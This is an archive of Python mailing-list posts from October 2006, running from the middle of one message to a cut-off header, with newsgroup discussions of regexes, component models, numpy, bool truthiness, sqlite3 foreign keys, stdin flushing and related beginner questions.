Best wishes!  Everything you said you want to do is wholly consistent
with the PSF's intent, and the PSF license definitely intends to be
friendly to proprietary derivative works.  Ditto for the BeOpen.com,
CNRI, and CWI licenses (although I can't speak for those three in any
official capacity -- I can speak for the PSF in my role as a PSF
director).


From bearophileHUGS at lycos.com  Sun Oct  1 08:16:12 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 1 Oct 2006 05:16:12 -0700
Subject: builtin regular expressions?
In-Reply-To: <slrnehuuq6.gim.grahn+nntp@frailea.sa.invalid>
References: <451e37a5$1@news.vo.lu><efm04n$lb3$1@mlucom4.urz.uni-halle.de>
	<mailman.1003.1159631137.10491.python-list@python.org>
	<MPG.1f88cf81c13811a398968d@news.individual.de>
	<slrnehuuq6.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <1159704971.926748.30750@c28g2000cwb.googlegroups.com>

Jorgen Grahn:
> However, there is a set of common problems which would be hell to solve
> without regexes.

I agree, and I think no one is thinking about dropping REs from Python
stdlib.
Here people are mostly talking about what's better between having them
in the stdlibs instead of inside the core language, and about their
syntax.

Bye,
bearophile



From misterwang at gmail.com  Thu Oct 12 19:38:50 2006
From: misterwang at gmail.com (Peter  Wang)
Date: 12 Oct 2006 16:38:50 -0700
Subject: Python component model
In-Reply-To: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
Message-ID: <1160696330.090125.212900@h48g2000cwc.googlegroups.com>

Edward,

This isn't in response to any specific one of the 100+ posts on this
thread, but I justed wanted to encourage you to continue your
investigation into Python component models and maybe looking for some
common ground between them.  Frequently the individual developers are
too heads-down on working on their own things to do a broad survey, so
I think this would be very useful indeed.

I wouldn't have felt it necessary to post this except for the large
number of posts along the lines of "foo.dict is introspective enough
for me!".  I think you might have an easier time evangelizing the
principle of component-oriented programming (or "event-based", or
"reactive", or whatever) if you separated it from the notions of RAD UI
development.  There is a very large difference between writing
components and writing objects, and it seems that most people arguing
"python doesn't need components" don't see this distinction.

For me, it's the difference between writing "live" objects and "dead"
objects.  Live objects not only encapsulate implementations of an
interface with some state, but they also encapsulate handling of
events, i.e. responses to changes in their environment.  Dead objects
have methods but there has to be a function somewhere that knows which
dead object to call with what parameters at exactly the right time.
(The only mechanism for managing this complexity is to create ever more
functions at ever higher levels of abstraction, or to have a
proliferation of nebulously-defined "manager" objects.)  IMHO once you
cross this chasm and are able to model your problem domain with live
objects that go off and automatically respond to the runtime
environment and Do the Right Thing, it's very hard to go back to a dead
object mindset.  I can understand, however, that until one makes this
leap, it might seem like an academic and useless distinction.


-peter



From sturlamolden at yahoo.no  Fri Oct  6 09:52:12 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 6 Oct 2006 06:52:12 -0700
Subject: switching to numpy and failing, a user story
In-Reply-To: <1159984398.088012.209640@k70g2000cwa.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
	<1159984398.088012.209640@k70g2000cwa.googlegroups.com>
Message-ID: <1160142732.752533.266840@m7g2000cwm.googlegroups.com>


greg.landrum at gmail.com wrote:

> Given the quality of python's (free) documentation and how good it's
> been for a very long time, it's bit ironic to be using the phrase
> "normal open-source documentation" on this mailing list. Numeric
> python, which numpy aspires to be a replacement for, has perfectly
> reasonable documentation. It wasn't perfect, but it told you pretty
> much everything you needed to know to get started, use the system, and
> build extension modules. I guess this set my expectations for NumPy.


NumPy is perhaps the most well thought array object known to man. That
includes those of Matlab, Fortran 95 and C++ libraries (e.g. Blitz++).
I don't think we should be modest about the quality of NumPy. NumPy
allows us to do serious number crunching in a well designed language -
Python. Scientists pay thosands of dollars for software that are not
par with NumPy, and we get NumPy for free.

Those involved in the development of NumPy must receive some
compensation. Financial support to NumPy also ensure that the
developmentcan continue. I for one does not want to see NumPy as
abandonware in the near future. Unfortunately, getting scientists to
make volounteer financial contributions to an open-source project has
proven difficult. A modest charge for the documentation is a fair way
of doing things. I can not be reimbursed by my employer for making a
donation to NumPy, so I would have to take that out of my own pocket. I
can be reimbursed for buying a copy of the documentation, however.



From johnjsal at NOSPAMgmail.com  Tue Oct 10 11:00:08 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 10 Oct 2006 15:00:08 GMT
Subject: can regular ol' python do a php include?
In-Reply-To: <mailman.214.1160490531.11739.python-list@python.org>
References: <kZNWg.91$1n3.2228@news.tufts.edu>
	<mailman.214.1160490531.11739.python-list@python.org>
Message-ID: <YzOWg.92$1n3.2328@news.tufts.edu>

Fredrik Lundh wrote:

> you don't even need anything from the standard library to inserting output
> from one function into given text...
> 
>     text = "... my page with %(foo)s markers ..."
> 
>     print text % dict(foo=function())

Wow, thanks. So if I have a file called header.html that contains all my 
header markup, I could just insert this line into my html file? (which I 
suppose would become a py file)

print open('header.html').read()

Not quite as elegant as include('header.html'), but it seems like it 
would work.


From steve at REMOVE.THIS.cybersource.com.au  Thu Oct 26 10:51:54 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Fri, 27 Oct 2006 00:51:54 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<zNO%g.154$1n3.3672@news.tufts.edu>
Message-ID: <pan.2006.10.26.14.51.45.732212@REMOVE.THIS.cybersource.com.au>

On Wed, 25 Oct 2006 19:19:59 +0000, John Salerno wrote:

> Oh!!! I get it now! I was thinking that
> 
> if s
> 
> was the same as
> 
> if s == True

No. But you know that now :)

> because I know sometimes you can write if statements this way (though 
> it's wordy). 

You can, but shouldn't.


> But what I didn't realize was that in the cases I was 
> thinking of, 's' was an expression that evaluated to a boolean value, 
> not an actual value of some other type!
> 
> So I suppose
> 
> if (10 > 5)

Is the same as:

if True

because (10 > 5) evaluates as True.

 
> would be the same as
> 
> if (10 > 5) == True

Did you mean

if (10 > 5) == True == True

or 

if (10 > 5) == True == True == True

or even 

if (10 > 5) == True == True == True == True

I hope you see my point now.


> because (10 > 5) does evaluate to "True".

I think it is a good time to remind people of some extremely well-thought
out opposition to the introduction of bools to Python from Laura Creighton:

http://mail.python.org/pipermail/python-list/2002-April/095878.html

She lost the debate, Guido had the final word and Python now has bools.
Take particular note of her description of Python distinguishing between
Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc).



-- 
Steven.



From johnjsal at NOSPAMgmail.com  Thu Oct 26 16:54:10 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 20:54:10 GMT
Subject: ANN: wxPython 2.7.1.3
In-Reply-To: <ehr6vs$258l$1@ulysses.news.tiscali.de>
References: <mailman.1291.1161888414.11739.python-list@python.org>
	<ehr6vs$258l$1@ulysses.news.tiscali.de>
Message-ID: <Sf90h.172$1n3.4082@news.tufts.edu>

robert wrote:
> Robin Dunn wrote:
>> Announcing
>> ----------
>>
>> The 2.7.1.3 release of wxPython is now available for download at
>> http://wxpython.org/download.php.  This release is a yet another
>> quick-turnaround bugfix release designed to solve some problems, plust
>> some minor enhancements.  This will likely be the last 2.7.1.x
>> release.  Source and binaries are available for both Python 2.4 and
>> 2.5 for Windows and Mac, as well some pacakges for varous Linux
>> distributions.  A summary of changes is listed below and also at
>> http://wxpython.org/recentchanges.php.
> 
> See py2.3 is still supported for Mac.  I'd like a py2.3 version for 
> Windows still :cry-baby:
> 
> -robert

You want Python 2.3 for Windows?


From fredrik at pythonware.com  Wed Oct  4 15:31:45 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 21:31:45 +0200
Subject: Find out the name of a variable passed as an argument
In-Reply-To: <4524093C.6090707@arcor.de>
References: <4524093C.6090707@arcor.de>
Message-ID: <eg1270$era$2@sea.gmane.org>

Andreas Huesgen wrote:

> is there a way to receive the name of an object passed to a function 
> from within the function.

objects don't have names, so in general, you cannot do that.  see:

http://pyfaq.infogami.com/how-can-my-code-discover-the-name-of-an-object

</F>



From mensanator at aol.com  Fri Oct 20 16:48:33 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 20 Oct 2006 13:48:33 -0700
Subject: proper format for this database table
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>
	<4t5_g.121$1n3.3067@news.tufts.edu>
	<mailman.851.1161358338.11739.python-list@python.org>
	<qD7_g.124$1n3.3420@news.tufts.edu>
	<1161367645.430191.289290@k70g2000cwa.googlegroups.com>
	<Eg9_g.130$1n3.3113@news.tufts.edu>
Message-ID: <1161377313.064997.87030@b28g2000cwb.googlegroups.com>

John Salerno wrote:
> mensanator at aol.com wrote:
>
> > [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned]
> > 5      1     U of I       1971        1975      BS
> > 6      1     U of I       1975        1976      MS
> > 7      1     U of I       1976        1977      PhD
> >
> > where [Eid] is the primary key of the Education table and
> > [Sid] is the foreign key from the Student table so that the
> > single student record (1) links to three education records
> > (5,6,7).
> >
>
> Hmmm. I think I'm lost. My table will have a key that represents the
> persons ID, in my case it would be salerjo01. This will be what ties
> this table to that person. Can I repeat this key multiple times in the
> Education table?

Yes, because it would be a foreign key.

Perhaps a simple example might help:

import sqlite3

con = sqlite3.connect(":memory:")
cur = con.cursor()

# in the [person] table, [personid] is the primary key
# but in the [education] table, it's a foreign key
# I deliberately didn't make them AUTOINCREMENT to
# simplify the example
cur.executescript("""
    create table person(
        personid PRIMARY KEY,
        firstname,
        lastname
    );

    create table education(
        educationid PRIMARY KEY,
        personid,
        institution,
        yearStart,
        yearEnd,
        degreeEarned
    );
    """)

persons = [(1,'Tom','Smith'), \
           (2,'Dick','Smith'), \
           (3,'Harry','Smith')]

degrees = [(1,1,'University of Illinois',1971,1975,'BS'), \
           (2,1,'University of Illinois',1975,1976,'MS'), \
           (3,1,'University of Illinois',1976,1977,'PhD'), \
           (4,2,'University of Illinois',1971,1974,None), \
           (5,2,'DeVry Institute of Technology',1974,1976,'ASEET')]

cur.executemany("""
INSERT INTO person(personid,
                   firstname,
                   lastname)
VALUES      (?,?,?)"""
, persons)

cur.executemany("""
INSERT INTO education(educationid,
                      personid,
                      institution,
                      yearStart,
                      yearEnd,
                      degreeEarned)
VALUES      (?,?,?,?,?,?)"""
, degrees)


# Note: since both tables have a field named [personid],
#       the table name must be included when referencing
#       that field
cur.execute("""
SELECT      firstname,
            lastname,
            institution,
            yearStart,
            yearEnd,
            degreeEarned
FROM        education
INNER JOIN  person
ON          person.personid = education.personid
ORDER BY    education.personid;
""")

report = cur.fetchall()


for i in report:
    print '%5s %-5s %-30s  %d-%d  %-6s' % (i)

##  Tom Smith University of Illinois          1971-1975  BS
##  Tom Smith University of Illinois          1975-1976  MS
##  Tom Smith University of Illinois          1976-1977  PhD
## Dick Smith University of Illinois          1971-1974  None
## Dick Smith DeVry Institute of Technology   1974-1976  ASEET

## Note that the third person, Harry Smith, doesn't show up
## in the report.
## That's because no education records were created for him.
## When you do an INNER JOIN between two tables, the linking field,
## [personid] must exist in both tables.



From fredrik at pythonware.com  Fri Oct  6 06:19:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 12:19:21 +0200
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <4omn7jFfe26cU1@uni-berlin.de>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de>
Message-ID: <eg5aj9$8jn$2@sea.gmane.org>

Diez B. Roggisch wrote:

> This is on the same level of interest to the communities of python, ruby 
> & java as the color of my socks this morning - a deep black with cute 
> little skulls imprinted.

are they perhaps red or green?  and look something like the skulls on this:

     http://www.rusta.se/images/products/31101067_l.jpg

</F>



From Hakusa at gmail.com  Sun Oct 22 21:07:36 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 22 Oct 2006 18:07:36 -0700
Subject: Arrays? (Or lists if you prefer)
Message-ID: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>

Pythonic lists are everything I want in a one dimensional array . . .
but I'm trying to do a text adventure and simplify the proces by
creating a grid as opposed to a tedious list of rooms this room
connects to.

So I want to know a good way to do a SIMPLE two dimensional array.
Python's lists are a little confusing when it comes to how to do this.
I realized that I could do

list = [ [0] * N ] * N

but I don't know if it would work because I'm a newbie and only
understand arrays if they're in grid-like form. And I haven't ben thru
linear algebra yet, due to my school giving me a few set backs I'm
allready having to take geometry and allgebra II which are meant to be
taken one after another at my school, so any suggestions  or hints in
that direction won't be helpful.

So:
Way to do SIMPLE array, either internally or externally, with Python,
please.



From hanumizzle at gmail.com  Tue Oct 17 04:03:47 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 17 Oct 2006 04:03:47 -0400
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <1160843099.978973.235560@k70g2000cwa.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
Message-ID: <463ff4860610170103o1291e19fy49ced03c2b048310@mail.gmail.com>

On 14 Oct 2006 09:25:00 -0700, Paul Boddie <paul at boddie.org.uk> wrote:

> Unlike Java, Python's first class functions and
> methods are already highly useful for callback-based systems

Curious: how well does the use of returning inner functions work as a
strategy for providing effectively 'anonymous' callbacks? e.g.

def outer(x):
  def inner(y):
    ...
  return inner

-- Theerasak


From sjdevnull at yahoo.com  Sun Oct 22 12:06:53 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 22 Oct 2006 09:06:53 -0700
Subject: Screen capture on Linux
In-Reply-To: <mailman.905.1161450327.11739.python-list@python.org>
References: <mailman.905.1161450327.11739.python-list@python.org>
Message-ID: <1161533213.744934.67170@e3g2000cwe.googlegroups.com>

Paolo Pantaleo wrote:
> Hi,
>
> I need to capture a screen snapshot in Linux. PIL has a module
> IageGrab, but in the free version it only works under Windows. Is
> there any package to capture the screen on Linux?

xwd comes with the X server.  man xwd

Most useful is "xwd -root" or similar.  You may want "sleep 5; xwd
-root" to give you some time to set things up as needed, or map it to a
window manager keybinding.



From wektorian at gmail.com  Sun Oct 22 06:28:58 2006
From: wektorian at gmail.com (Wektor)
Date: 22 Oct 2006 03:28:58 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161447186.938144.35810@f16g2000cwb.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
	<1161447186.938144.35810@f16g2000cwb.googlegroups.com>
Message-ID: <1161512938.035392.32670@m7g2000cwm.googlegroups.com>


sturlamolden wrote:
> > Its also a pity that no one didnt do something based on OpenGL with
> > python (or maybe im wrong) it could be cool and really cross-platform.
>
> You are wrong. There are PyOpenGL and there is cross-platform GUI and
> game development platforms that use it (PyGTK, wxPython, PyGame). There
> are also PyOgre, which are more pythonic than using OpenGL directly.

I ment in the GUI context , a widget-based api where you can put
buttons, labels etc. on a form.
Not an advanced 3D stuff which is useless for such application.
Something like :
http://www.cs.unc.edu/~rademach/glui/
http://glow.sourceforge.net/
and sdl based
http://www.paragui.org/

but none have Python support (or again maybe im wrong)



From monuindia at gmail.com  Wed Oct 11 02:42:45 2006
From: monuindia at gmail.com (Monu)
Date: 10 Oct 2006 23:42:45 -0700
Subject: problem with hot shot stats
In-Reply-To: <1160520591.174414.225030@k70g2000cwa.googlegroups.com>
References: <1160503199.286071.57800@h48g2000cwc.googlegroups.com>
	<1160520591.174414.225030@k70g2000cwa.googlegroups.com>
Message-ID: <1160548965.419766.63920@m73g2000cwd.googlegroups.com>

But I couldn't find any way to get lineevents in cProfile

On Oct 11, 3:49 am, "Klaas" <mike.kl... at gmail.com> wrote:
> Monu wrote:
> > HI All,
> > I am getting problem in usinghotshotprofiler.
> > When Ihotshotwith lineevents=0, it works fine,
> > but when I use lineevents=1, I get error in stats<>
>
> > Can anybody help to figure out the problem please?hotshothas never reached production-ready stability, imo.  Use the new
> cProfile module in python2.5
> 
> -Mike



From deets at nospam.web.de  Sat Oct 21 04:48:33 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 21 Oct 2006 10:48:33 +0200
Subject: FOR statement
In-Reply-To: <mailman.885.1161418309.11739.python-list@python.org>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>	<453911b6$0$19616$88260bb3@free.teranews.com>	<1161417033.963163.275300@i3g2000cwc.googlegroups.com>
	<mailman.885.1161418309.11739.python-list@python.org>
Message-ID: <4pu56uFkldkcU1@uni-berlin.de>

Theerasak Photha schrieb:
> On 21 Oct 2006 00:50:34 -0700, Ant <antroy at gmail.com> wrote:
> 
>> But there's a good reason not to. Try:
>>
>> printreverse(range(1000))
>>
>> Recursion has a maximum depth (of 1000 by default) in Python.
> 
> I guess Python isn't tail-recursive then?

Nope. And given that you can decorate every function whenever you want , 
even at runtime, I can't see how that can be implemented easily - or at 
all, to be honest.

Diez


From johnjsal at NOSPAMgmail.com  Wed Oct  4 23:48:06 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 23:48:06 -0400
Subject: can't open chm files all of a sudden
In-Reply-To: <1160015892.533777.301530@e3g2000cwe.googlegroups.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<45246d73$0$30759$c3e8da3@news.astraweb.com>
	<1160015892.533777.301530@e3g2000cwe.googlegroups.com>
Message-ID: <452480d5$0$14699$c3e8da3@news.astraweb.com>

John Machin wrote:

> And you *still* haven't answered the basic question:
> 
> **********************************************************
> *** What is the error message that you get ??? ***
> **********************************************************
> 

I'm not sure what you're asking for here. Did you not see my posts with 
the two attachments? One had the full error details, and the other had 
the dialog that apppeared.


From gagsl-py at yahoo.com.ar  Wed Oct 18 16:36:10 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 17:36:10 -0300
Subject: Flushing standard input
In-Reply-To: <eh606t$7i6$02$1@news.t-online.com>
References: <eh606t$7i6$02$1@news.t-online.com>
Message-ID: <7.0.1.0.0.20061018172725.0576dd70@yahoo.com.ar>

At Wednesday 18/10/2006 16:45, Fabian Steiner wrote:

>Recently I came across a problem which I still can't solve on my own.
>Consider this small example:
>
>import sys
>import time
>
>time.sleep(3)
>print
>sys.stdin.flush()
>input = raw_input('Your input: ')
>print 'Your input: ', input
>
>While the script is sleeping I type in the word 'test1', so that it is
>printed on the console. Having slept for three seconds the script
>continues and wants me to type in another word 'test2' and I hit return.
>
>The output looks like this:
>
>fabi at jupiter ~ [ 21:41:27 ] $ python test.py
>test1
>test2
>Your input:  test1test2
>
>Is there any way to flush the stdin buffer so that 'test1' is _not_
>regarded as input? How could one solve this issue?

This works ONLY on Windows:

import sys
import time
from msvcrt import getch,kbhit

time.sleep(3)
while kbhit(): getch() # consume any pending keypresses
print
input = raw_input('Your input: ')
print 'Your input: ', input

For Unix you could look at the tty/termios modules. This recipe shows 
a portable getch() function: 
<http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/134892>


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From hanumizzle at gmail.com  Sat Oct  7 00:13:30 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 00:13:30 -0400
Subject: extract certain values from file with re
In-Reply-To: <1160165773.205634.211490@c28g2000cwb.googlegroups.com>
References: <mailman.1438.1160128294.10491.python-list@python.org>
	<1160165773.205634.211490@c28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610062113s1d4aa5c1pbb4196b9b0c9b844@mail.gmail.com>

On 6 Oct 2006 13:16:13 -0700, Matteo <mahall at ncsa.uiuc.edu> wrote:

> Coming from C++, using exceptions in this way still feels a bit creepy
> to me, but I've been assured that this is very pythonic, and I'm slowly
> adopting this style in my python code.
>
> Parsing the line can be easy too:
>    (umom,vmom,wmom,mass...) = map(float,vals[1:])

Style question.

Should one consider the map functional deprecated and use [float(val)
for val in vals[1:]] or no? I'm not sure myself.

-- Theerasak


From anthra.norell at vtxmail.ch  Fri Oct 27 04:32:50 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Fri, 27 Oct 2006 10:32:50 +0200
Subject: Search & Replace
In-Reply-To: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
Message-ID: <4541C432.3040209@vtxmail.ch>

DataSmash wrote:
> Hello,
> I need to search and replace 4 words in a text file.
> Below is my attempt at it, but this code appends
> a copy of the text file within itself 4 times.
> Can someone help me out.
> Thanks!
>
> # Search & Replace
> file = open("text.txt", "r")
> text = file.read()
> file.close()
>
> file = open("text.txt", "w")
> file.write(text.replace("Left_RefAddr", "FromLeft"))
> file.write(text.replace("Left_NonRefAddr", "ToLeft"))
> file.write(text.replace("Right_RefAddr", "FromRight"))
> file.write(text.replace("Right_NonRefAddr", "ToRight"))
> file.close()
>
>   

Here's a perfect problem for a stream editor, like 
http://cheeseshop.python.org/pypi/SE/2.2%20beta. This is how it works:

 >>> replacement_definitions = '''
   Left_RefAddr=FromLeft
   Left_NonRefAddr=ToLeft
   Right_RefAddr=FromRight
   Right_NonRefAddr=ToRight
'''
 >>> import SE
 >>> Replacements = SE.SE (replacement_definitions)
 >>> Replacements ('text.txt', 'new_text.txt')

That's all! Or in place:

 >>> ALLOW_IN_PLACE = 3
 >>> Replacements.set (file_handling_flag = ALLOW_IN_PLACE)
 >>> Replacements ('text.txt')

This should solve your task.

An SE object takes strings too, which is required for line-by-line 
processing and is very useful for development or verification:

 >>> print Replacements (replacement_definitions)   # Use definitions as 
test data

   FromLeft=FromLeft
   ToLeft=ToLeft
   FromRight=FromRight
   ToRight=ToRight

Checks out. All substitutions are made.


Regards

Frederic




From msherman77 at yahoo.com  Tue Oct 31 16:56:55 2006
From: msherman77 at yahoo.com (Michael S)
Date: Tue, 31 Oct 2006 16:56:55 -0500 (EST)
Subject: best way to check if a file exists?
In-Reply-To: <EQO1h.213$1n3.4609@news.tufts.edu>
Message-ID: <20061031215655.30397.qmail@web88309.mail.re4.yahoo.com>

If you want to open the file for writing just open it
with append mode. open(??filename", "a"). If it
doesn't exist - it'll create it, and if it does it'll
start appending to the file

For reading - os.path.exists("filename"). Or (doesn't
make much sense, but still) try to open it for reading
and python will throw an IOException which you can
catch and handle.

Michael

--- John Salerno <johnjsal at NOSPAMgmail.com> wrote:

> What is the best way to check if a file already
> exists in the current 
> directory? I saw os.path.isfile(), but I'm not sure
> if that does more 
> than what I need.
> 
> I just want to check if a file of a certain name
> exists before the user 
> creates a new file of that name.
> 
> Thanks.
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 



From pavlovevidence at gmail.com  Sat Oct 28 06:24:50 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 28 Oct 2006 03:24:50 -0700
Subject: question about True values
References: <1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
Message-ID: <1162031090.711952.228280@m7g2000cwm.googlegroups.com>

Steven D'Aprano wrote:
> On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote:
>
> > Steven D'Aprano wrote:
> >> But in this specific instance, I don't see any advantage to explicitly
> >> testing the length of a list. Antoon might think that is sufficiently
> >> polymorphic, but it isn't. He cares whether the object has zero _length_,
> >> but for true polymorphism, he should be caring about whether the object is
> >> _empty_. Not all empty objects have zero length, or even a length at all.
> >> (E.g. binary trees.)
> >
> > Conversely, not all objects that have length consider zero-length to be
> > false.
>
> Which is why truth-testing is defined by __nonzero__ with __len__ only the
> fall-back, for convenience.

Not all objects that have a state of emptiness consider emptiness to be
false.


> > Whether you test with "if a:" or "if len(a)>0", some objects
> > are going to be denied.
>
> If a class doesn't define __nonzero__ or __len__, it should.

No, it often shouldn't.

A. It's not always desirable for empty to be false.  Numpy defines a
bunch of numeric array types that raise an exception when __nonzero__
(actually nb_nonzero in the C API) is called.  This is the correct
behavior for numpy.  It makes no sense for numpy arrays to be used in a
boolean context, but they certainly can be empty.

B. Sometimes it's impossible to determine the state of emptiness.  For
example, iterators.


> > Thing is, objects that don't have length have almost no overlapping
> > uses with lists (i.e., you'd hardly ever write a function that could
> > take an int or a list, unless you type check the argument or use only
> > object protocol stuff like id and getattr, or pass it to another
> > function that does the same).  Iterators do have overlapping uses with
> > lists, but the "if a:" doesn't work for them, so it's moot.
>
> Sure it works for iterators.
>
> >>> it = iter([0])
> >>> bool(it)
> True
> >>> it.next()
> 0
> >>> bool(it)
> False
>
> Perhaps this behaviour has changed in version 2.5, if so, I'd like to hear
> the rationalisation before I declare it a mistake.

You haven't been paying attention.

Yes, this behavior has been changed in 2.5.  The built-in iterators
always return True in 2.5.  But even in 2.4, it was not true for
iterators in general:

>>> a = []
>>> bool(x for x in a)
True

At no point could you count on an iterator returning False for empty,
unless you'd made it yourself.  Neither "if a:" nor "if len(a)>0" is a
valid test for an empty iterator.


> > P.S. binary trees do have length: it's the number of nodes, just as the
> > number of keys is the length of a dict.
>
> I don't know what you were taught, but I was taught that binary trees have
> height and breadth.

It doesn't really matter.  dicts and sets don't have a length, either.
Or if they do, it's the length of the hash table, not the number of
entries.  Weren't you taught that?  But Python uses len() to get the
number of items in a container.  Any Pythonic implementation of a
binary tree class would use len() to return the number of entries in
it.  Anything that uses indexing ought to define len(), if it can.


Overall, your objections don't really apply, since you're arguing what
ought to be whereas my argument is pragmatic.  Practically speaking, in
realistic situations, "if len(a)>0" will work for a wider range of
types than "if a:".


Carl Banks



From http  Thu Oct 19 19:34:46 2006
From: http (Paul Rubin)
Date: 19 Oct 2006 16:34:46 -0700
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
Message-ID: <7x7iyvx4kp.fsf@ruckus.brouhaha.com>

Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> writes:
> >>> ''.join(list(reversed("some string")))
> 'gnirts emos'

''.join(reversed('some string')) should work, without building the
intermediate list.

I generally don't remember the ::-1 syntax so the above would occur to
me sooner.


From bearophileHUGS at lycos.com  Sun Oct 22 05:40:17 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 22 Oct 2006 02:40:17 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <mailman.908.1161452358.11739.python-list@python.org>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161444416.749636.172530@i42g2000cwa.googlegroups.com>
	<mailman.908.1161452358.11739.python-list@python.org>
Message-ID: <1161510017.622766.187460@k70g2000cwa.googlegroups.com>

Peter Decker:
> Now that I've discovered Dabo, which wraps wxPython, hiding the C++
> ugliness under a very Pythonic API, I have the best of both worlds. I
> get to code naturally, and the results look great.

With some cleaning and improving, I think wax
(http://zephyrfalcon.org/labs/wax.html ) can become good too.

Bye,
bearophile



From R.Brodie at rl.ac.uk  Tue Oct 10 08:46:20 2006
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Tue, 10 Oct 2006 13:46:20 +0100
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>
